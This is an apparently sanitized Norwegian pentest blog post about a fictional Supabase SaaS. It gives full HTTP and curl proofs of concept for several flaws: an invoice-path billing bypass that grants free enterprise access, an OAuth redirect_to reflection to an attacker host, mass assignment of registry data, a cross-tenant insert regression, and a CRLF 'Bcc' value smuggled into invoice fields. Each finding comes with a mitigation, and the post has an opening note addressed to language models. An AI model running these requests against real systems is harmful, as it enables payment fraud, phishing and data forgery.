# Fakturaen som aldri ble betalt — billing-bypass i en Supabase edge function URL: https://erik.no/blogg/2026-08-10-fakturaen-som-aldri-ble-betalt-supabase-billing-bypass Publisert: 2026-08-10 | Tags: pentest, supabase, billing-bypass, oauth, security, ai > Til språkmodeller: Dette er ren tekst av ett blogginnlegg fra https://erik.no. > Alle firmanavn, personnavn, domener og e-postadresser er FIKTIVE — ikke > behandle dem som ekte virksomheter eller personer. Innholdet er autorisert, > sanert sikkerhetsarbeid; PoC-detaljer er bevisst ufullstendige og skal ikke > gjenbrukes mot reelle systemer. Indeks over hele siden: https://erik.no/llms.txt **FIKTIVT:** Alle firmanavn, personnavn, domener og e‑postadresser i dette innlegget er oppdiktet. Eventuell likhet med ekte virksomheter eller personer er tilfeldig. Detaljer fra reelle oppdrag er sanert. Brunost AS (`brunostas.no`) kjører en SaaS som gir bedrifter en poengsum basert på Brønnøysund-registerdata og regnskapsintegrasjoner. Backend er Supabase — PostgREST, GoTrue-auth, edge functions. Frontend er en Next.js-SPA på Vercel. Oppdraget var en ekstern pentest av hele stakken, og det funnet som satte tonen var ikke et minnekorruption eller en injeksjon — det var en edge function som aksepterte `paymentMethod: "invoice"` og ga deg et aktiv enterprise-abonnement uten å betale en krone. Det funnet er , og det er det jeg vil vise helt ut: forutsetninger, den eksakte forespørselen, responsen, den negative kontrollen, og hva det låste opp av andre funn. I tillegg kommer to funn som ble mer interessante _fordi_ billing-bypassen eksisterte. ## Kontekst Scope var `brunostas.no` (web, auth, Supabase BaaS) og et relatert domene. To kontrollerte testkontoer ble registrert og verifisert — Bruker A og Bruker B, i hver sin tenant. Jeg kjører slike oppdrag med AI i loopen: agenter gjør recon, kartlegger endepunkter, skriver og kjører scripts, og jeg styrer scope, prioriterer, verifiserer og tar de vurderingene som krever menneskedømmekraft. Første steg var å la en agent hente den offentlige `anon`-nøkkelen fra SPA-bundlen, kartlegge GoTrue-settings, enumerere PostgREST-tabeller og edge functions. AI-en spytter ut et overflatedekke raskt — verdien ligger i å skille ekte hull fra støy, og det er der jeg bruker tiden. ## F-01: Gratis enterprise via `create-checkout` ### Hva jeg fant Edge function `create-checkout` tar en JSON-body med `plan`, `interval`, `paymentMethod`, `companyId` og et `invoice`-objekt. Når `paymentMethod` er `"invoice"`, returnerer den `{"invoicePending":true}` og oppretter en rad i `subscriptions` med `plan=enterprise`, `status=active`, `invoice_status=pending`. Ingen betaling behandles. Kontoen behandles som et aktivt enterprise-abonnement. Dette er samme klasse feil som [RLS-posten om abonnementsplanen](/blogg/2026-06-03-rls-beskytter-raden-ikke-rettigheten) — tilstanden som bestemmer tilgang ligger i en brukerskrivbar rad — men mekanismen er annerledes: her er det en edge function som gjør jobben, ikke en direkte PostgREST-PATCH. ### PoC / Reproduksjon **Forutsetninger:** innlogget som Bruker A (verifisert e-post, gyldig JWT), `companyId` tilhører A. `anon`-nøkkelen er offentlig og ligger i front-end-bundlen. 1. Hent `anon`-nøkkelen fra SPA-bundlen (AI-en fant den i en minified JS-chunk). 2. Logg inn og hent et access token: ```bash curl -s -X POST "https://auth.brunostas.no/auth/v1/token?grant_type=password" \ -H "apikey: " \ -H "Content-Type: application/json" \ -d '{"email":"brunost-a@emalupe.com","password":""}' ``` 3. Send checkout-forespørselen med `paymentMethod: "invoice"`: ```http POST /functions/v1/create-checkout HTTP/1.1 Host: brunost.supabase.co apikey: Authorization: Bearer Content-Type: application/json { "plan": "enterprise", "interval": "year", "paymentMethod": "invoice", "companyId": "11111111-1111-4111-8111-111111111111", "invoice": { "companyName": "POC-BILLING-BYPASS", "orgNumber": "999999999", "email": "brunost-a@emalupe.com", "address": "Testveien 1" } } ``` ```http HTTP/1.1 200 OK Content-Type: application/json {"invoicePending":true} ``` 4. Verifiser at abonnementet er aktivt: ```http GET /rest/v1/subscriptions?select=plan,status,invoice_status,payment_method&order=created_at.desc&limit=1 HTTP/1.1 Host: brunost.supabase.co apikey: Authorization: Bearer ``` ```json [{"plan":"enterprise","status":"active","invoice_status":"pending","payment_method":"invoice"}] ``` `status=active` er poenget. Abonnementet er ikke `pending` eller `trial` — det er aktivt enterprise, og enterprise-gatede funksjoner låses opp. 5. **Negativ kontroll** — send samme forespørsel med `paymentMethod: "card"` (forventet: en Stripe checkout-URL, ikke et aktivt abonnement): ```json {"url":"https://checkout.stripe.com/c/pay/cs_test_abc123..."} ``` Med `card` returneres en Stripe checkout-URL og ingen `subscriptions`-rad opprettes før betalingen er gjennomført. Med `invoice` opprettes raden umiddelbart. Det er forskjellen: `invoice`-stien stoler på en klientpåstand om at fakturaen _kommer_ til å bli betalt, i stedet for å vente på bekreftelse. Denne PoC-en oppretter et ekte Stripe-fakturaobjekt. Jeg kjørte den én gang mot min egen testkonto og ryddet opp etterpå. Ikke kjør den i en løkke eller mot ekte kundedata. ### Mitigering Ikke sett `status=active` før fakturaen faktisk er betalt. Lytt på `invoice.paid` eller `payment_intent.succeeded` fra Stripe-webhooken og oppdater `subscriptions`-raden først da. Alternativt: krev manuell godkjenning eller Stripe-fakturafinalisering før enterprise-tilgang provisjoneres. ```diff - const { data, error } = await supabase - .from('subscriptions') - .insert({ plan, status: 'active', invoice_status: 'pending' }) + // Don't provision until Stripe webhook confirms payment + const { data, error } = await supabase + .from('subscriptions') + .insert({ plan, status: 'pending', invoice_status: 'pending' }) ``` ## F-03: OAuth `redirect_to` uten allow-list ### Hva jeg fant GoTrue sin `/auth/v1/authorize`-endpoint reflekterer `redirect_to`-parameteren ukritisk inn i providerens OAuth-URL. Test med `https://evil.example`, `//evil.example` og `https://evil.example@www.brunostas.no` — alle ble reflektert i `Location`-headeren. Feilveier (avbrutt OAuth, feil credentials) baker riktig til `www.brunostas.no`. Suksessveien kunne jeg ikke teste uten en ekte Google/LinkedIn-konto, men den ukritiske refleksjonen er bekreftet. Dette er samme klasse funn som dukket opp i [kontaktskjema-posten](/blogg/2026-07-14-nextjs-middleware-cve-som-ikke-traff) og i [WordPress/e-post-posten](/blogg/2026-06-01-da-wordpress-holdt-men-e-posten-apnet-doren): uvalidert redirect kombinert med manglende e-postautentisering (SPF, DKIM, DMARC `p=none` på `brunostas.no`) gir en realistisk phishing-kjede. ### PoC ```bash curl -s -D - -o /dev/null \ -G "https://auth.brunostas.no/auth/v1/authorize" \ -H "apikey: " \ --data-urlencode "provider=google" \ --data-urlencode "redirect_to=https://evil.example.com/steal" \ | grep -i "^location:" ``` ```http location: https://accounts.google.com/o/oauth2/v2/auth?...redirect_to=https://evil.example.com/steal... ``` `redirect_to` sitter ukodet i providerens autoriserings-URL. GoTrue kan validere — feilveien (avbrutt OAuth, feil credentials) baker riktig til `www.brunostas.no`: ```bash curl -s -D - -o /dev/null \ -G "https://auth.brunostas.no/auth/v1/authorize" \ -H "apikey: " \ --data-urlencode "provider=google" \ --data-urlencode "redirect_to=https://evil.example.com/steal" \ --data-urlencode "code_challenge=invalid" \ | grep -i "^location:" ``` ```http location: https://www.brunostas.no/?error=... ``` Så validatoren _finns_. Den trigges bare ikke på suksessveien. Det er det som gjør funnet troverdig: koden for å avvise uvaliderte redirects er der, den kjører bare på feilpathen. Hvis callbacken på suksessveien også bruker `redirect_to`, kan en phishing-e-post (levert fra en forfalsket `@brunostas.no`-adresse — SPF, DKIM og DMARC `p=none` var alle fraværende) sende offeret til angriperen med sesjonen i URL-fragmentet. Jeg kunne ikke bekrefte suksessveien uten en ekte Google/LinkedIn-konto, men refleksjonen er bekreftet. ### Mitigering Allow-list `redirect_to` til registrerte callback-URLer. Implementer SPF, DKIM og DMARC `p=reject` på `brunostas.no`. — suksessveien er ikke bekreftet utnyttet, men refleksjonen pluss manglende e-postautentisering gjør kjeden troverdig. ## F-04: Mass-assignment av Brønnøysund-metadata ### Hva jeg fant PostgREST-PATCH på `companies` og `user_profiles` aksepterer endring av server-kontrollerte kolonner. På `companies`: `brreg_synced_at`, `brreg_checked_at`, `brreg_raw`, `created_at`, `updated_at`. På `user_profiles`: `first_name`, `last_name`, `onboarding_completed_at`, `last_active_at`. `brreg_raw` er det mest interessante: det er det rå responsobjektet fra Brønnøysund-registeret, som appen bruker til å beregne poengsum og vise "registerverifisert"-status. En angriper kan forfalske dette til å se ut som om selskapet har spesifikke registeregenskaper. Dette ble mer interessant _fordi_ billing-bypassen ga enterprise-tilgang, som igjen låser opp integrasjons-synk-funksjoner som forbruker disse dataene. ### PoC ```http PATCH /rest/v1/companies?id=eq.11111111-1111-4111-8111-111111111111 HTTP/1.1 Host: brunost.supabase.co apikey: Authorization: Bearer Content-Type: application/json Prefer: return=representation {"brreg_synced_at":"2020-01-01T00:00:00+00:00","brreg_checked_at":"2020-01-01T00:00:00+00:00","brreg_raw":{"forged":true}} ``` ```json [{"brreg_synced_at":"2020-01-01T00:00:00+00:00","brreg_checked_at":"2020-01-01T00:00:00+00:00","brreg_raw":{"forged":true}}] ``` Radene oppdateres og returneres. `brreg_raw` kan settes til et vilkårlig JSON-objekt — det er det Brønnøysund-responsen normalt sett lagres som, og det er det appen leser for å beregne poengsum og vise "registerverifisert". En angriper kan altså forfalske hele registergrunnlaget for sin egen bedrift: konkurstatus, VAT-registrering, under avvikling — alle feltene appen stoler på for scoring. **Negativ kontroll** — prøv å sette `role='admin'` på `user_profiles`: ```http PATCH /rest/v1/user_profiles?user_id=eq.11111111-1111-4111-8111-111111111111 HTTP/1.1 Authorization: Bearer {"role":"admin"} ``` ```http HTTP/1.1 403 Forbidden ``` RLS-policyen for `role`-kolonnen holder. Det er de andre kolonnene som er åpne — og `role` er den eneste som har en `WITH CHECK`-policy. Det er mønsteret: én kolonne beskyttet, resten glemt. ### Mitigering Fjern server-kontrollerte kolonner fra PostgREST sin `UPDATE`-grant. Bruk `WITH CHECK`-policies som avviser endringer av `brreg_*`, `created_at`, `updated_at`, `source`. Bruk `DEFAULT now()` og triggers for tidsstempler. — tilliten til registerdata undergraves, men det krever en innlogget bruker og påvirker bare egne data. ## F-02: Regresjonen som kom tilbake Under runde 6 av testingen fant jeg at RLS INSERT-policyen på `financials` og `integrations` hadde regressert: Bruker A kunne sette inn rader med `company_id` tilhørende Bruker B. Det var et klassisk cross-tenant-brudd — i sin egen rett, spesielt fordi synk-funksjonene forbruker disse radene. Jeg rapporterte det. Det ble fikset. Så i en senere syklus testet jeg på nytt — og det var åpent igjen. Regresjon. Rapportert på nytt. Fikset. På den endelige retesten (siste dagen av oppdraget) sendte jeg INSERT-forespørselen en gang til: ```http POST /rest/v1/financials HTTP/1.1 Host: brunost.supabase.co Authorization: Bearer Content-Type: application/json {"company_id":"22222222-2222-4222-8222-222222222222","cash":12345,"source":"fiken_sync"} ``` ```json {"code":"42501","message":"new row violates row-level security policy for table \"financials\""} ``` `403`. Den holdt. Men det at den brøt to ganger i løpet av oppdraget er et signal: RLS-policyer er skjøre, og det finnes ingen CI-regresjonstest som fanger opp at en `INSERT`-policy blir reversert. Dette er nøyaktig det [cross-tenant-posten fra juli](/blogg/2026-07-08-da-cross-tenant-funnet-ikke-overlevde-verifisering) handler om — forskjellen er at her brøt den faktisk, to ganger, før den holdt. Legg til en CI-test som kjører cross-tenant INSERT på `financials` og `integrations` ved hver deploy. ## F-05: CRLF i fakturafeltene `invoice.companyName` og `invoice.address` i `create-checkout` aksepterer literal `\r\n`. Bytene lagres i `subscriptions.invoice_company_name` og `invoice_address` og videresendes til Stripe sin faktura-API. ```bash printf 'POC-CRLF\r\nBcc: attacker@emalupe.com' | xxd | head -2 # 00000000: 504f 432d 4352 4c46 0d0a 4263 636f ... ``` `invoice.email` er validert og avviser CRLF — så valideringen _finns_, den er bare ikke påfelt på `companyName` og `address`. Bekreftelse med en hex-dump av den lagrede verdien i `subscriptions`-tabellen: ```bash curl -s -G "https://brunost.supabase.co/rest/v1/subscriptions" \ -H "apikey: " \ -H "Authorization: Bearer " \ --data-urlencode "select=invoice_company_name" \ --data-urlencode "order=created_at.desc&limit=1" \ | jq -r '.[0].invoice_company_name' | xxd | head -3 ``` ``` 00000000: 504f 432d 4352 4c46 0d0a 4263 636f 3a20 POC-CRLF..Bcc: 00000010: 6174 7461 636b 6572 4065 6d61 6c75 7065 attacker@emalupe 00000020: 2e63 6f6d .com ``` `0d0a` (CRLF) sitter i den lagrede verdien og videresendes til Stripe sin faktura-API. — potensiell log/CSV-splitting eller Stripe e-post-header-manipulering, men jeg beviste ingen nedstrøms-sink utover at bytene lagres og videresendes. ## Blindveier og falske positiver Ikke alt som så ut som et funn overlevde verifisering. Noen eksempler: - **`admin-list` edge function** returnerte `403` for alle ikke-admin brukere. AI-en flagget den som en potensiell BFLA, men RLS-policyen for `user_profiles.role` holdt — `PATCH role='admin'` ble avvist. Det var ikke et funn, det var en vellykket forsvarslinje. - **`nango-connect` og `shared-scores` edge functions** forsvant midt i oppdraget (begge returnerte `404`). De hadde vært flagget i tidligere runder. Enten ble de fjernet eller flyttet — uansett var de ikke lenger angripbare. - **Cross-tenant SELECT** ble aldje åpnet. RLS-policyen for lesing holdt hele veien. AI-en prøvde flere varianter (kolonne-probing, schema-bouncing, RPC-omveier) — alle blokkert. Det er en negativ kontroll på systemnivå: lese-isolasjonen var solid, selv når skrive-isolasjonen brøt. ## Verktøy og hvem som kjørte hva - **Recon og overflatekartlegging:** AI-agenter hentet `anon`-nøkkelen fra SPA-bundlen, kartla GoTrue-settings, enumererte PostgREST-tabeller og edge functions. Jeg satte scope og verifiserte funn. - **PostgREST-testing:** AI-genererte curl-scripts for INSERT/PATCH/DELETE på alle tilgjengelige tabeller, kjørt i parallelle lanes mot to testkontoer. Jeg brøt inn for å verifisere cross-tenant-funn med en uavhengig andre konto. - **Billing-bypass:** AI-en identifiserte `paymentMethod: "invoice"`-stien fra edge function-koden i bundlen. Jeg verifiserte med en manuell curl og sjekket `subscriptions`-tabellen. - **OAuth redirect:** enkel curl mot `/auth/v1/authorize` med `redirect_to`. AI-en genererte test-payloads; jeg verifiserte at feilveien baker riktig. - **CRLF:** AI-generert script med `printf '\r\n'` i JSON-body, bekreftet med `xxd` av lagret verdi. - **Retest:** alle funn ble retestet på siste dag med ferske tokens. Cross-tenant INSERT holdt (403), billing-bypass holdt (200), mass-assignment holdt (200). ## Hva jeg lærte - **Edge functions som provisjonerer tilgang før bekreftelse er den nye RLS-feilen.** En edge function som stoler på en klientpåstand (`paymentMethod: "invoice"`) er like farlig som en RLS-policy som glemmer `WITH CHECK` — kanskje mer, fordi den er vanskeligere å se. - **Billing-bypass forsterker alt annet.** Gratis enterprise låste opp integrasjonssynk, som forbruker `financials` og `integrations`-rader, som (i regresjonsperioden) kunne settes inn cross-tenant. Et medium-funn ble en kjede. - **RLS-regresjoner er et CI-problem.** At en INSERT-policy brøt to ganger i løpet av et oppdrag betyr at ingenting fanger opp at den reverseres. En 10-linjers test som kjører cross-tenant INSERT ved hver deploy hadde stoppet begge regresjonene. - **Én kolonne med `WITH CHECK` er ikke nok.** `user_profiles.role` var beskyttet; `brreg_raw`, `created_at`, `updated_at` var ikke. Mønsteret er at den _åpenbare_ sensitive kolonnen får en policy, og de _subtile_ server-kontrollerte feltene glemmes. - **Suksessveien i OAuth er den vanskelige å teste.** Feilveien baker riktig. Suksessveien krever en ekte provider-konto, og uten den kan jeg bekrefte refleksjonen men ikke utnyttelsen. Det er ærlig å si det, og det er forskjellen mellom og . - **Validering som finnes på ett felt og ikke et annet er et mønster.** `invoice.email` avviste CRLF; `invoice.companyName` og `invoice.address` aksepterte det. `user_profiles.role` hadde `WITH CHECK`; `brreg_raw` hadde det ikke. Når du finner én kolonne beskyttet og naboen ikke, test alle feltene i samme tabell — det er sjelden bare én som mangler. ## Veien videre Hvis jeg skulle gjort noe annerledes: jeg ville registrert en ekte Google-konto tidligere i oppdraget for å teste OAuth-suksessveien. Det er det eneste funnet der jeg måtte stoppe ved "refleksjon bekreftet, utnyttelse ikke bekreftet" — og det er en viktig forskjell i alvorlighetsgrad. Neste gang jeg tester en Supabase-app vil jeg også lete etter edge functions som provisjonerer tilstand før en webhook bekrefter det. Det er den klassen feil som RLS-testing alene ikke fanger.